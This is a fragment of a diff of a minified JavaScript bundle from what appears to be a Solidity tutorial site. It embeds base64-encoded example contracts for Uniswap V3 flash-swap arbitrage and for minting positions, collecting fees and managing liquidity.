                    -`,lb=({prev:s,next:a})=>i.jsx(u,{version:$A,title:qA,description:sb,html:nb,prev:s,next:a,codes:ab}),pb="0.8.20",eb="Uniswap V3 Flash Swap Arbitrage",cb="Uniswap V3 Flash Swap Arbitrage",tb=[{fileName:"UniswapV3FlashSwap.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFVuaXN3YXBWM0ZsYXNoU3dhcCB7CiAgICBJU3dhcFJvdXRlciBjb25zdGFudCByb3V0ZXIgPQogICAgICAgIElTd2FwUm91dGVyKDB4RTU5MjQyN0EwQUVjZTkyRGUzRWRlZTFGMThFMDE1N0MwNTg2MTU2NCk7CgogICAgdWludDE2MCBpbnRlcm5hbCBjb25zdGFudCBNSU5fU1FSVF9SQVRJTyA9IDQyOTUxMjg3Mzk7CiAgICB1aW50MTYwIGludGVybmFsIGNvbnN0YW50IE1BWF9TUVJUX1JBVElPID0KICAgICAgICAxNDYxNDQ2NzAzNDg1MjEwMTAzMjg3MjczMDUyMjAzOTg4ODIyMzc4NzIzOTcwMzQyOwoKICAgIC8vIEV4YW1wbGUgV0VUSC9VU0RDCiAgICAvLyBTZWxsIFdFVEggaGlnaCAgICAgIC0+IEJ1eSBXRVRIIGxvdyAgICAgICAgLT4gV0VUSCBwcm9maXQKICAgIC8vIFdFVEggaW4gLT4gVVNEQyBvdXQgLT4gVVNEQyBpbiAtPiBXRVRIIG91dCAtPiBXRVRIIHByb2ZpdAogICAgZnVuY3Rpb24gZmxhc2hTd2FwKAogICAgICAgIGFkZHJlc3MgcG9vbDAsCiAgICAgICAgdWludDI0IGZlZTEsCiAgICAgICAgYWRkcmVzcyB0b2tlbkluLAogICAgICAgIGFkZHJlc3MgdG9rZW5PdXQsCiAgICAgICAgdWludCBhbW91bnRJbgogICAgKSBleHRlcm5hbCB7CiAgICAgICAgYm9vbCB6ZXJvRm9yT25lID0gdG9rZW5JbiA8IHRva2VuT3V0OwogICAgICAgIHVpbnQxNjAgc3FydFByaWNlTGltaXRYOTYgPSB6ZXJvRm9yT25lCiAgICAgICAgICAgID8gTUlOX1NRUlRfUkFUSU8gKyAxCiAgICAgICAgICAgIDogTUFYX1NRUlRfUkFUSU8gLSAxOwogICAgICAgIGJ5dGVzIG1lbW9yeSBkYXRhID0gYWJpLmVuY29kZSgKICAgICAgICAgICAgbXNnLnNlbmRlciwKICAgICAgICAgICAgcG9vbDAsCiAgICAgICAgICAgIGZlZTEsCiAgICAgICAgICAgIHRva2VuSW4sCiAgICAgICAgICAgIHRva2VuT3V0LAogICAgICAgICAgICBhbW91bnRJbiwKICAgICAgICAgICAgemVyb0Zvck9uZQogICAgICAgICk7CgogICAgICAgIElVbmlzd2FwVjNQb29sKHBvb2wwKS5zd2FwKAogICAgICAgICAgICBhZGRyZXNzKHRoaXMpLAogICAgICAgICAgICB6ZXJvRm9yT25lLAogICAgICAgICAgICBpbnQoYW1vdW50SW4pLAogICAgICAgICAgICBzcXJ0UHJpY2VMaW1pdFg5NiwKICAgICAgICAgICAgZGF0YQogICAgICAgICk7CiAgICB9CgogICAgZnVuY3Rpb24gdW5pc3dhcFYzU3dhcENhbGxiYWNrKAogICAgICAgIGludCBhbW91bnQwLAogICAgICAgIGludCBhbW91bnQxLAogICAgICAgIGJ5dGVzIGNhbGxkYXRhIGRhdGEKICAgICkgZXh0ZXJuYWwgewogICAgICAgICgKICAgICAgICAgICAgYWRkcmVzcyBjYWxsZXIsCiAgICAgICAgICAgIGFkZHJlc3MgcG9vbDAsCiAgICAgICAgICAgIHVpbnQyNCBmZWUxLAogICAgICAgICAgICBhZGRyZXNzIHRva2VuSW4sCiAgICAgICAgICAgIGFkZHJlc3MgdG9rZW5PdXQsCiAgICAgICAgICAgIHVpbnQgYW1vdW50SW4sCiAgICAgICAgICAgIGJvb2wgemVyb0Zvck9uZQogICAgICAgICkgPSBhYmkuZGVjb2RlKGRhdGEsIChhZGRyZXNzLCBhZGRyZXNzLCB1aW50MjQsIGFkZHJlc3MsIGFkZHJlc3MsIHVpbnQsIGJvb2wpKTsKCiAgICAgICAgcmVxdWlyZShtc2cuc2VuZGVyID09IGFkZHJlc3MocG9vbDApLCAibm90IGF1dGhvcml6ZWQiKTsKCiAgICAgICAgdWludCBhbW91bnRPdXQ7CiAgICAgICAgaWYgKHplcm9Gb3JPbmUpIHsKICAgICAgICAgICAgYW1vdW50T3V0ID0gdWludCgtYW1vdW50MSk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgYW1vdW50T3V0ID0gdWludCgtYW1vdW50MCk7CiAgICAgICAgfQoKICAgICAgICB1aW50IGJ1eUJhY2tBbW91bnQgPSBfc3dhcCh0b2tlbk91dCwgdG9rZW5JbiwgZmVlMSwgYW1vdW50T3V0KTsKCiAgICAgICAgaWYgKGJ1eUJhY2tBbW91bnQgPj0gYW1vdW50SW4pIHsKICAgICAgICAgICAgdWludCBwcm9maXQgPSBidXlCYWNrQW1vdW50IC0gYW1vdW50SW47CiAgICAgICAgICAgIElFUkMyMCh0b2tlbkluKS50cmFuc2ZlcihhZGRyZXNzKHBvb2wwKSwgYW1vdW50SW4pOwogICAgICAgICAgICBJRVJDMjAodG9rZW5JbikudHJhbnNmZXIoY2FsbGVyLCBwcm9maXQpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHVpbnQgbG9zcyA9IGFtb3VudEluIC0gYnV5QmFja0Ftb3VudDsKICAgICAgICAgICAgSUVSQzIwKHRva2VuSW4pLnRyYW5zZmVyRnJvbShjYWxsZXIsIGFkZHJlc3ModGhpcyksIGxvc3MpOwogICAgICAgICAgICBJRVJDMjAodG9rZW5JbikudHJhbnNmZXIoYWRkcmVzcyhwb29sMCksIGFtb3VudEluKTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gX3N3YXAoCiAgICAgICAgYWRkcmVzcyB0b2tlbkluLAogICAgICAgIGFkZHJlc3MgdG9rZW5PdXQsCiAgICAgICAgdWludDI0IGZlZSwKICAgICAgICB1aW50IGFtb3VudEluCiAgICApIHByaXZhdGUgcmV0dXJucyAodWludCBhbW91bnRPdXQpIHsKICAgICAgICBJRVJDMjAodG9rZW5JbikuYXBwcm92ZShhZGRyZXNzKHJvdXRlciksIGFtb3VudEluKTsKCiAgICAgICAgSVN3YXBSb3V0ZXIuRXhhY3RJbnB1dFNpbmdsZVBhcmFtcyBtZW1vcnkgcGFyYW1zID0gSVN3YXBSb3V0ZXIKICAgICAgICAgICAgLkV4YWN0SW5wdXRTaW5nbGVQYXJhbXMoewogICAgICAgICAgICAgICAgdG9rZW5JbjogdG9rZW5JbiwKICAgICAgICAgICAgICAgIHRva2VuT3V0OiB0b2tlbk91dCwKICAgICAgICAgICAgICAgIGZlZTogZmVlLAogICAgICAgICAgICAgICAgcmVjaXBpZW50OiBhZGRyZXNzKHRoaXMpLAogICAgICAgICAgICAgICAgZGVhZGxpbmU6IGJsb2NrLnRpbWVzdGFtcCwKICAgICAgICAgICAgICAgIGFtb3VudEluOiBhbW91bnRJbiwKICAgICAgICAgICAgICAgIGFtb3VudE91dE1pbmltdW06IDAsCiAgICAgICAgICAgICAgICBzcXJ0UHJpY2VMaW1pdFg5NjogMAogICAgICAgICAgICB9KTsKCiAgICAgICAgYW1vdW50T3V0ID0gcm91dGVyLmV4YWN0SW5wdXRTaW5nbGUocGFyYW1zKTsKICAgIH0KfQoKaW50ZXJmYWNlIElTd2FwUm91dGVyIHsKICAgIHN0cnVjdCBFeGFjdElucHV0U2luZ2xlUGFyYW1zIHsKICAgICAgICBhZGRyZXNzIHRva2VuSW47CiAgICAgICAgYWRkcmVzcyB0b2tlbk91dDsKICAgICAgICB1aW50MjQgZmVlOwogICAgICAgIGFkZHJlc3MgcmVjaXBpZW50OwogICAgICAgIHVpbnQgZGVhZGxpbmU7CiAgICAgICAgdWludCBhbW91bnRJbjsKICAgICAgICB1aW50IGFtb3VudE91dE1pbmltdW07CiAgICAg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JlIC0gYmFsQWZ0ZXIpOwogICAgICAgIH0KICAgIH0KfQo="}],ob=`

                    Uniswap V3 Flash Swap Arbitrage Example

                    +`,cb=({prev:s,next:a})=>i.jsx(u,{version:ab,title:nb,description:lb,html:eb,prev:s,next:a,codes:pb}),tb="0.8.20",ob="Uniswap V3 Flash Swap Arbitrage",rb="Uniswap V3 Flash Swap Arbitrage",ib=[{fileName:"UniswapV3FlashSwap.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFVuaXN3YXBWM0ZsYXNoU3dhcCB7CiAgICBJU3dhcFJvdXRlciBjb25zdGFudCByb3V0ZXIgPQogICAgICAgIElTd2FwUm91dGVyKDB4RTU5MjQyN0EwQUVjZTkyRGUzRWRlZTFGMThFMDE1N0MwNTg2MTU2NCk7CgogICAgdWludDE2MCBpbnRlcm5hbCBjb25zdGFudCBNSU5fU1FSVF9SQVRJTyA9IDQyOTUxMjg3Mzk7CiAgICB1aW50MTYwIGludGVybmFsIGNvbnN0YW50IE1BWF9TUVJUX1JBVElPID0KICAgICAgICAxNDYxNDQ2NzAzNDg1MjEwMTAzMjg3MjczMDUyMjAzOTg4ODIyMzc4NzIzOTcwMzQyOwoKICAgIC8vIEV4YW1wbGUgV0VUSC9VU0RDCiAgICAvLyBTZWxsIFdFVEggaGlnaCAgICAgIC0+IEJ1eSBXRVRIIGxvdyAgICAgICAgLT4gV0VUSCBwcm9maXQKICAgIC8vIFdFVEggaW4gLT4gVVNEQyBvdXQgLT4gVVNEQyBpbiAtPiBXRVRIIG91dCAtPiBXRVRIIHByb2ZpdAogICAgZnVuY3Rpb24gZmxhc2hTd2FwKAogICAgICAgIGFkZHJlc3MgcG9vbDAsCiAgICAgICAgdWludDI0IGZlZTEsCiAgICAgICAgYWRkcmVzcyB0b2tlbkluLAogICAgICAgIGFkZHJlc3MgdG9rZW5PdXQsCiAgICAgICAgdWludCBhbW91bnRJbgogICAgKSBleHRlcm5hbCB7CiAgICAgICAgYm9vbCB6ZXJvRm9yT25lID0gdG9rZW5JbiA8IHRva2VuT3V0OwogICAgICAgIHVpbnQxNjAgc3FydFByaWNlTGltaXRYOTYgPSB6ZXJvRm9yT25lCiAgICAgICAgICAgID8gTUlOX1NRUlRfUkFUSU8gKyAxCiAgICAgICAgICAgIDogTUFYX1NRUlRfUkFUSU8gLSAxOwogICAgICAgIGJ5dGVzIG1lbW9yeSBkYXRhID0gYWJpLmVuY29kZSgKICAgICAgICAgICAgbXNnLnNlbmRlciwKICAgICAgICAgICAgcG9vbDAsCiAgICAgICAgICAgIGZlZTEsCiAgICAgICAgICAgIHRva2VuSW4sCiAgICAgICAgICAgIHRva2VuT3V0LAogICAgICAgICAgICBhbW91bnRJbiwKICAgICAgICAgICAgemVyb0Zvck9uZQogICAgICAgICk7CgogICAgICAgIElVbmlzd2FwVjNQb29sKHBvb2wwKS5zd2FwKAogICAgICAgICAgICBhZGRyZXNzKHRoaXMpLAogICAgICAgICAgICB6ZXJvRm9yT25lLAogICAgICAgICAgICBpbnQoYW1vdW50SW4pLAogICAgICAgICAgICBzcXJ0UHJpY2VMaW1pdFg5NiwKICAgICAgICAgICAgZGF0YQogICAgICAgICk7CiAgICB9CgogICAgZnVuY3Rpb24gdW5pc3dhcFYzU3dhcENhbGxiYWNrKAogICAgICAgIGludCBhbW91bnQwLAogICAgICAgIGludCBhbW91bnQxLAogICAgICAgIGJ5dGVzIGNhbGxkYXRhIGRhdGEKICAgICkgZXh0ZXJuYWwgewogICAgICAgICgKICAgICAgICAgICAgYWRkcmVzcyBjYWxsZXIsCiAgICAgICAgICAgIGFkZHJlc3MgcG9vbDAsCiAgICAgICAgICAgIHVpbnQyNCBmZWUxLAogICAgICAgICAgICBhZGRyZXNzIHRva2VuSW4sCiAgICAgICAgICAgIGFkZHJlc3MgdG9rZW5PdXQsCiAgICAgICAgICAgIHVpbnQgYW1vdW50SW4sCiAgICAgICAgICAgIGJvb2wgemVyb0Zvck9uZQogICAgICAgICkgPSBhYmkuZGVjb2RlKGRhdGEsIChhZGRyZXNzLCBhZGRyZXNzLCB1aW50MjQsIGFkZHJlc3MsIGFkZHJlc3MsIHVpbnQsIGJvb2wpKTsKCiAgICAgICAgcmVxdWlyZShtc2cuc2VuZGVyID09IGFkZHJlc3MocG9vbDApLCAibm90IGF1dGhvcml6ZWQiKTsKCiAgICAgICAgdWludCBhbW91bnRPdXQ7CiAgICAgICAgaWYgKHplcm9Gb3JPbmUpIHsKICAgICAgICAgICAgYW1vdW50T3V0ID0gdWludCgtYW1vdW50MSk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgYW1vdW50T3V0ID0gdWludCgtYW1vdW50MCk7CiAgICAgICAgfQoKICAgICAgICB1aW50IGJ1eUJhY2tBbW91bnQgPSBfc3dhcCh0b2tlbk91dCwgdG9rZW5JbiwgZmVlMSwgYW1vdW50T3V0KTsKCiAgICAgICAgaWYgKGJ1eUJhY2tBbW91bnQgPj0gYW1vdW50SW4pIHsKICAgICAgICAgICAgdWludCBwcm9maXQgPSBidXlCYWNrQW1vdW50IC0gYW1vdW50SW47CiAgICAgICAgICAgIElFUkMyMCh0b2tlbkluKS50cmFuc2ZlcihhZGRyZXNzKHBvb2wwKSwgYW1vdW50SW4pOwogICAgICAgICAgICBJRVJDMjAodG9rZW5JbikudHJhbnNmZXIoY2FsbGVyLCBwcm9maXQpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHVpbnQgbG9zcyA9IGFtb3VudEluIC0gYnV5QmFja0Ftb3VudDsKICAgICAgICAgICAgSUVSQzIwKHRva2VuSW4pLnRyYW5zZmVyRnJvbShjYWxsZXIsIGFkZHJlc3ModGhpcyksIGxvc3MpOwogICAgICAgICAgICBJRVJDMjAodG9rZW5JbikudHJhbnNmZXIoYWRkcmVzcyhwb29sMCksIGFtb3VudEluKTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gX3N3YXAoCiAgICAgICAgYWRkcmVzcyB0b2tlbkluLAogICAgICAgIGFkZHJlc3MgdG9rZW5PdXQsCiAgICAgICAgdWludDI0IGZlZSwKICAgICAgICB1aW50IGFtb3VudEluCiAgICApIHByaXZhdGUgcmV0dXJucyAodWludCBhbW91bnRPdXQpIHsKICAgICAgICBJRVJDMjAodG9rZW5JbikuYXBwcm92ZShhZGRyZXNzKHJvdXRlciksIGFtb3VudEluKTsKCiAgICAgICAgSVN3YXBSb3V0ZXIuRXhhY3RJbnB1dFNpbmdsZVBhcmFtcyBtZW1vcnkgcGFyYW1zID0gSVN3YXBSb3V0ZXIKICAgICAgICAgICAgLkV4YWN0SW5wdXRTaW5nbGVQYXJhbXMoewogICAgICAgICAgICAgICAgdG9rZW5JbjogdG9rZW5JbiwKICAgICAgICAgICAgICAgIHRva2VuT3V0OiB0b2tlbk91dCwKICAgICAgICAgICAgICAgIGZlZTogZmVlLAogICAgICAgICAgICAgICAgcmVjaXBpZW50OiBhZGRyZXNzKHRoaXMpLAogICAgICAgICAgICAgICAgZGVhZGxpbmU6IGJsb2NrLnRpbWVzdGFtcCwKICAgICAgICAgICAgICAgIGFtb3VudEluOiBhbW91bnRJbiwKICAgICAgICAgICAgICAgIGFtb3VudE91dE1pbmltdW06IDAsCiAgICAgICAgICAgICAgICBzcXJ0UHJpY2VMaW1pdFg5NjogMAogICAgICAgICAgICB9KTsKCiAgICAgICAgYW1vdW50T3V0ID0gcm91dGVyLmV4YWN0SW5wdXRTaW5nbGUocGFyYW1zKTsKICAgIH0KfQoKaW50ZXJmYWNlIElTd2FwUm91dGVyIHsKICAgIHN0cnVjdCBFeGFjdElucHV0U2luZ2xlUGFyYW1zIHsKICAgICAgICBhZGRyZXNzIHRva2VuSW47CiAgICAgICAgYWRkcmVzcyB0b2tlbk91dDsKICAgICAgICB1aW50MjQgZmVlOwogICAgICAgIGFkZHJlc3MgcmVjaXBpZW50OwogICAgICAgIHVpbnQgZGVhZGxpbmU7CiAgICAgICAgdW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ewogICAgICAgICAgICBjb25zb2xlLmxvZygiV0VUSCBsb3NzIiwgYmFsQmVmb3JlIC0gYmFsQWZ0ZXIpOwogICAgICAgIH0KICAgIH0KfQo="}],hb=`

                    Uniswap V3 Flash Swap Arbitrage Example

                    // SPDX-License-Identifier: MIT
                     pragma solidity ^0.8.20;
                     
                    @@ -5997,7 +5997,7 @@ forge test -vv --gas-report --fork-url $FORK_URL --match-path test/UniswapV3Flas
                     

                    Links

                    Foundry

                    Uniswap V3 Foundry example

                    -`,rb=({prev:s,next:a})=>i.jsx(u,{version:pb,title:eb,description:cb,html:ob,prev:s,next:a,codes:tb}),ib="0.8.20",hb="Uniswap V3 Liquidity Examples",gb="Uniswap V3 liquidity examples",db=[{fileName:"UniswapV3Liquidity.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmFkZHJlc3MgY29uc3RhbnQgREFJID0gMHg2QjE3NTQ3NEU4OTA5NEM0NERhOThiOTU0RWVkZUFDNDk1MjcxZDBGOwphZGRyZXNzIGNvbnN0YW50IFdFVEggPSAweEMwMmFhQTM5YjIyM0ZFOEQwQTBlNUM0RjI3ZUFEOTA4M0M3NTZDYzI7CgppbnRlcmZhY2UgSUVSQzcyMVJlY2VpdmVyIHsKICAgIGZ1bmN0aW9uIG9uRVJDNzIxUmVjZWl2ZWQoCiAgICAgICAgYWRkcmVzcyBvcGVyYXRvciwKICAgICAgICBhZGRyZXNzIGZyb20sCiAgICAgICAgdWludCB0b2tlbklkLAogICAgICAgIGJ5dGVzIGNhbGxkYXRhIGRhdGEKICAgICkgZXh0ZXJuYWwgcmV0dXJucyAoYnl0ZXM0KTsKfQoKY29udHJhY3QgVW5pc3dhcFYzTGlxdWlkaXR5IGlzIElFUkM3MjFSZWNlaXZlciB7CiAgICBJRVJDMjAgcHJpdmF0ZSBjb25zdGFudCBkYWkgPSBJRVJDMjAoREFJKTsKICAgIElXRVRIIHBy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XNzKHRoaXMpLCBhbW91bnQxVG9BZGQpOwoKICAgICAgICBkYWkuYXBwcm92ZShhZGRyZXNzKG5vbmZ1bmdpYmxlUG9zaXRpb25NYW5hZ2VyKSwgYW1vdW50MFRvQWRkKTsKICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyhub25mdW5naWJsZVBvc2l0aW9uTWFuYWdlciksIGFtb3VudDFUb0FkZCk7CgogICAgICAgIElOb25mdW5naWJsZVBvc2l0aW9uTWFuYWdlci5NaW50UGFyYW1zCiAgICAgICAgICAgIG1lbW9yeSBwYXJhbXMgPSBJTm9uZnVuZ2libGVQb3NpdGlvbk1hbmFnZXIuTWludFBhcmFtcyh7CiAgICAgICAgICAgICAgICB0b2tlbjA6IERBSSwKICAgICAgICAgICAgICAgIHRva2VuMTogV0VUSCwKICAgICAgICAgICAgICAgIGZlZTogMzAwMCwKICAgICAgICAgICAgICAgIHRpY2tMb3dlcjogKE1JTl9USUNLIC8gVElDS19TUEFDSU5HKSAqIFRJQ0tfU1BBQ0lORywKICAgICAgICAgICAgICAgIHRpY2tVcHBlcjogKE1BWF9USUNLIC8gVElDS19TUEFDSU5HKSAqIFRJQ0tfU1BBQ0lORywKICAgICAgICAgICAgICAgIGFtb3VudDBEZXNpcmVkOiBhbW91bnQwVG9BZGQsCiAgICAgICAgICAgICAgICBhbW91bnQxRGVzaXJlZDogYW1vdW50MVRvQWRkLAogICAgICAgICAgICAgICAgYW1vdW50ME1pbjogMCwKICAgICAgICAgICAgICAgIGFtb3VudDFNaW46IDAsCiAgICAgICAgICAgICAgICByZWNpcGllbnQ6IGFkZHJlc3ModGhpcyksCiAgICAgICAgICAgICAgICBkZWFkbGluZTogYmxvY2sudGltZXN0YW1wCiAgICAgICAgICAgIH0pOwoKICAgICAgICAodG9rZW5JZCwgbGlxdWlkaXR5LCBhbW91bnQwLCBhbW91bnQxKSA9IG5vbmZ1bmdpYmxlUG9zaXRpb25NYW5hZ2VyLm1pbnQoCiAgICAgICAgICAgIHBhcmFtcwogICAgICAgICk7CgogICAgICAgIGlmIChhbW91bnQwIDwgYW1vdW50MFRvQWRkKSB7CiAgICAgICAgICAgIGRhaS5hcHByb3ZlKGFkZHJlc3Mobm9uZnVuZ2libGVQb3NpdGlvbk1hbmFnZXIpLCAwKTsKICAgICAgICAgICAgdWludCByZWZ1bmQwID0gYW1vdW50MFRvQWRkIC0gYW1vdW50MDsKICAgICAgICAgICAgZGFpLnRyYW5zZmVyKG1zZy5zZW5kZXIsIHJlZnVuZDApOwogICAgICAgIH0KICAgICAgICBpZiAoYW1vdW50MSA8IGFtb3VudDFUb0FkZCkgewogICAgICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyhub25mdW5naWJsZVBvc2l0aW9uTWFuYWdlciksIDApOwogICAgICAgICAgICB1aW50IHJlZnVuZDEgPSBhbW91bnQxVG9BZGQgLSBhbW91bnQxOwogICAgICAgICAgICB3ZXRoLnRyYW5zZmVyKG1zZy5zZW5kZXIsIHJlZnVuZDEpOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiBjb2xsZWN0QWxsRmVlcygKICAgICAgICB1aW50IHRva2VuSWQKICAgICkgZXh0ZXJuYWwgcmV0dXJucyAodWludCBhbW91bnQwLCB1aW50IGFtb3VudDEpIHsKICAgICAgICBJTm9uZnVuZ2libGVQb3NpdGlvbk1hbmFnZXIuQ29sbGVjdFBhcmFtcwogICAgICAgICAgICBtZW1vcnkgcGFyYW1zID0gSU5vbmZ1bmdpYmxlUG9zaXRpb25NYW5hZ2VyLkNvbGxlY3RQYXJhbXMoewogICAgICAgICAgICAgICAgdG9rZW5JZDogdG9rZW5JZCwKICAgICAgICAgICAgICAgIHJlY2lwaWVudDogYWRkcmVzcyh0aGlzKSwKICAgICAgICAgICAgICAgIGFtb3VudDBNYXg6IHR5cGUodWludDEyOCkubWF4LAogICAgICAgICAgICAgICAgYW1vdW50MU1heDogdHlwZSh1aW50MTI4KS5tYXgKICAgICAgICAgICAgfSk7C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gICAgYW1vdW50ME1pbjogMCwKICAgICAgICAgICAgICAgIGFtb3VudDFNaW46IDAsCiAgICAgICAgICAgICAgICBkZWFkbGluZTogYmxvY2sudGltZXN0YW1wCiAgICAgICAgICAgIH0pOwoKICAgICAgICAobGlxdWlkaXR5LCBhbW91bnQwLCBhbW91bnQxKSA9IG5vbmZ1bmdpYmxlUG9zaXRpb25NYW5hZ2VyLmluY3JlYXNlTGlxdWlkaXR5KAogICAgICAgICAgICBwYXJhbXMKICAgICAgICApOwogICAgfQoKICAgIGZ1bmN0aW9uIGRlY3JlYXNlTGlxdWlkaXR5Q3VycmVudFJhbmdlKAogICAgICAgIHVpbnQgdG9rZW5JZCwKICAgICAgICB1aW50MTI4IGxpcXVpZGl0eQogICAgKSBleHRlcm5hbCByZXR1cm5zICh1aW50IGFtb3VudDAsIHVpbnQgYW1vdW50MSkgewogICAgICAgIElOb25mdW5naWJsZVBvc2l0aW9uTWFuYWdlci5EZWNyZWFzZUxpcXVpZGl0eVBhcmFtcwogICAgICAgICAgICBtZW1vcnkgcGFyYW1zID0gSU5vbmZ1bmdpYmxlUG9zaXRpb25NYW5hZ2VyLkRlY3JlYXNlTGlxdWlkaXR5UGFyYW1zKHsKICAgICAgICAgICAgICAgIHRva2VuSWQ6IHRva2VuSWQsCiAgICAgICAgICAgICAgICBsaXF1aWRpdHk6IGxpcXVpZGl0eSwKICAgICAgICAgICAgICAgIGFtb3VudDBNaW46IDAsCiAgICAgICAgICAgICAgICBhbW91bnQxTWluOiAwLAogICAgICAgICAgICAgICAgZGVhZGxpbmU6IGJsb2NrLnRpbWVzdGFtcAogICAgICAgICAgICB9KTsKCiAgICAgICAgKGFtb3VudDAsIGFtb3VudDEpID0gbm9uZnVuZ2libGVQb3NpdGlvbk1hbmFnZXIuZGVjcmVhc2VMaXF1aWRpdHkocGFyYW1zKTsKICAgIH0KfQoKaW50ZXJmYWNlIElOb25mdW5naWJsZVBvc2l0aW9uTWFuYWdlciB7CiAgICBzdHJ1Y3QgTWludFBhcmFtcyB7CiAgICAgICAgYWRkcmVzcyB0b2tlbjA7CiAgICAgICAgYWRkcmVzcyB0b2tlbjE7CiAgICAgICAgdWludDI0IGZlZTsKICAgICAgICBpbnQyNCB0aWNrTG93ZXI7CiAgICAgICAgaW50MjQgdGlja1VwcGVyOwogICAgICAgIHVpbnQgYW1vdW50MERlc2lyZWQ7CiAgICAgICAgdWludCBhbW91bnQxRGVzaXJlZDsKICAgICAgICB1aW50IGFtb3VudDBNaW47CiAgICAgICAgdWludCBhbW91bnQxTWluOwogICAgICAgIGFkZHJlc3MgcmVjaXBpZW50OwogICAgICAgIHVpbnQgZGVhZGxpbmU7CiAgICB9CgogICAgZnVuY3Rpb24gbWludCgKICAgICAgICBNaW50UGFyYW1zIGNhbGxkYXRhIHBhcmFtcwogICAgKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcGF5YWJsZQogICAgICAgIHJldHVybnMgKHVpbnQgdG9rZW5JZCwgdWludDEyOCBsaXF1aWRpdHksIHVpbnQgYW1vdW50MCwgdWludCBhbW91bnQxKTsKCiAgICBzdHJ1Y3QgSW5jcmVhc2VMaXF1aWRpdHlQYXJhbXMgewogICAgICAgIHVpbnQgdG9rZW5JZDsKICAgICAgICB1aW50IGFtb3VudDBEZXNpcmVkOwogICAgICAgIHVpbnQgYW1vdW50MURlc2lyZWQ7CiAgICAgICAgdWludCBhbW91bnQwTWluOwogICAgICAgIHVpbnQgYW1vdW50MU1pbjsKICAgICAgICB1aW50IGRlYWRsaW5lOwogICAgfQoKICAgIGZ1bmN0aW9uIGluY3JlYXNlTGlxdWlkaXR5KAogICAgICAgIEluY3JlYXNlTGlxdWlkaXR5UGFyYW1zIGNhbGxkYXRhIHBhcmFtcwogICAgKSBleHRlcm5hbCBwYXlhYmxlIHJldHVybnMgKHVpbnQxMjggbGlxdWlkaXR5LCB1aW50IGFtb3VudDAsIHVpbnQgYW1vdW50MSk7CgogICAgc3RydWN0IERlY3JlYXNlTGlxdWlkaXR5UG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G9rZW4gaWQiLCB0b2tlbklkKTsKICAgICAgICBjb25zb2xlLmxvZygibGlxdWlkaXR5IiwgbGlxdWlkaXR5KTsKICAgICAgICBjb25zb2xlLmxvZygiYW1vdW50IDAiLCBhbW91bnQwKTsKICAgICAgICBjb25zb2xlLmxvZygiYW1vdW50IDEiLCBhbW91bnQxKTsKCiAgICAgICAgLy8gQ29sbGVjdCBmZWVzCiAgICAgICAgKHVpbnQgZmVlMCwgdWludCBmZWUxKSA9IHVuaS5jb2xsZWN0QWxsRmVlcyh0b2tlbklkKTsKCiAgICAgICAgY29uc29sZS5sb2coIi0tLSBDb2xsZWN0IGZlZXMgLS0tIik7CiAgICAgICAgY29uc29sZS5sb2coImZlZSAwIiwgZmVlMCk7CiAgICAgICAgY29uc29sZS5sb2coImZlZSAxIiwgZmVlMSk7CgogICAgICAgIC8vIEluY3JlYXNlIGxpcXVpZGl0eQogICAgICAgIHVpbnQgZGFpQW1vdW50VG9BZGQgPSA1ICogMWUxODsKICAgICAgICB1aW50IHdldGhBbW91bnRUb0FkZCA9IDAuNSAqIDFlMTg7CgogICAgICAgIChsaXF1aWRpdHlEZWx0YSwgYW1vdW50MCwgYW1vdW50MSkgPSB1bmkuaW5jcmVhc2VMaXF1aWRpdHlDdXJyZW50UmFuZ2UoCiAgICAgICAgICAgIHRva2VuSWQsCiAgICAgICAgICAgIGRhaUFtb3VudFRvQWRkLAogICAgICAgICAgICB3ZXRoQW1vdW50VG9BZGQKICAgICAgICApOwogICAgICAgIGxpcXVpZGl0eSArPSBsaXF1aWRpdHlEZWx0YTsKCiAgICAgICAgY29uc29sZS5sb2coIi0tLSBJbmNyZWFzZSBsaXF1aWRpdHkgLS0tIik7CiAgICAgICAgY29uc29sZS5sb2coImxpcXVpZGl0eSIsIGxpcXVpZGl0eSk7CiAgICAgICAgY29uc29sZS5sb2coImFtb3VudCAwIiwgYW1vdW50MCk7CiAgICAgICAgY29uc29sZS5sb2coImFtb3VudCAxIiwgYW1vdW50MSk7CgogICAgICAgIC8vIERlY3JlYXNlIGxpcXVpZGl0eQogICAgICAgIChhbW91bnQwLCBhbW91bnQxKSA9IHVuaS5kZWNyZWFzZUxpcXVpZGl0eUN1cnJlbnRSYW5nZSh0b2tlbklkLCBsaXF1aWRpdHkpOwogICAgICAgIGNvbnNvbGUubG9nKCItLS0gRGVjcmVhc2UgbGlxdWlkaXR5IC0tLSIpOwogICAgICAgIGNvbnNvbGUubG9nKCJhbW91bnQgMCIsIGFtb3VudDApOwogICAgICAgIGNvbnNvbGUubG9nKCJhbW91bnQgMSIsIGFtb3VudDEpOwogICAgfQp9Cg=="}],Ib=`

                    Examples of minting new position, collect fees, increase and decrease liquidity.

